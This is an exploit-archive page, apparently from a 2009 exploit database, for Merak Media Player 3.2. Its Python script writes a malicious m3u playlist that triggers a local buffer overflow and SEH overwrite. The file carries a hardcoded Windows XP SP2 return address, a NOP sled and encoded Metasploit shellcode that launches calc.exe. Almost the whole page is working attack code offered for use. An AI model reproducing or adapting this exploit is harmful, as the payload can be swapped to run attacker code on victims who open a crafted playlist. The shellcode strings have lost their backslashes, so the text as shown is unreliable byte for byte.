[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Merak Media PLayer 3.2 m3u File Local Buffer Overflow Exploit (SEH)
# Published : 2009-03-02
# Author : Encrypt3d.M!nd
# Previous Title : Media Commands (m3u File) Universal SEH Overwrite Exploit
# Next Title : Media Commands (m3u File) Local SEH Overwrite Exploit
#exploit.py
#
# Merak Media Player 3.2 Buffer Overflow Exploit(SEH)
# By:Encrypt3d.M!nd
# m1nd3d.wordpress.com
#
# Orginal Advisory:
# http://www.milw0rm.com/exploits/7857
######################################################
# Nothing Intersting in this exploit,too easy
# just improving my SEH exploitation Skills :p
#
ns = "xEBx06x90x90"
sh = "x35x2FxD1x72" # msacm32.drv ..windows xp sp2
chars = "A" * 74
nops = "x90" * 20
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum
http://metasploit.com
shellcode = (
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
"x42x50x42x50x42x30x4bx48x45x34x4ex33x4bx48x4ex37"
"x45x30x4ax57x41x50x4fx4ex4bx48x4fx54x4ax31x4bx48"
"x4fx55x42x42x41x50x4bx4ex49x54x4bx58x46x33x4bx38"
"x41x30x50x4ex41x53x42x4cx49x49x4ex4ax46x48x42x4c"
"x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"
"x46x4fx4bx33x46x35x46x42x46x50x45x37x45x4ex4bx48"
"x4fx35x46x42x41x30x4bx4ex48x36x4bx48x4ex30x4bx54"
"x4bx38x4fx35x4ex41x41x30x4bx4ex4bx58x4ex51x4bx38"
"x41x50x4bx4ex49x58x4ex45x46x42x46x50x43x4cx41x43"
"x42x4cx46x56x4bx58x42x54x42x53x45x38x42x4cx4ax37"
"x4ex50x4bx38x42x54x4ex30x4bx38x42x37x4ex51x4dx4a"
"x4bx58x4ax46x4ax30x4bx4ex49x50x4bx48x42x58x42x4b"
"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx35x41x53"
"x48x4fx42x56x48x45x49x48x4ax4fx43x48x42x4cx4bx47"
"x42x35x4ax56x42x4fx4cx58x46x30x4fx35x4ax46x4ax39"
"x50x4fx4cx48x50x50x47x55x4fx4fx47x4ex43x56x41x36"
"x4ex46x43x56x50x42x45x36x4ax37x45x36x42x30x5a")
file=open('geek.m3u','w')
file.write(chars+ns+sh+nops+shellcode)
file.close()
# www.Syue.com [2009-03-02]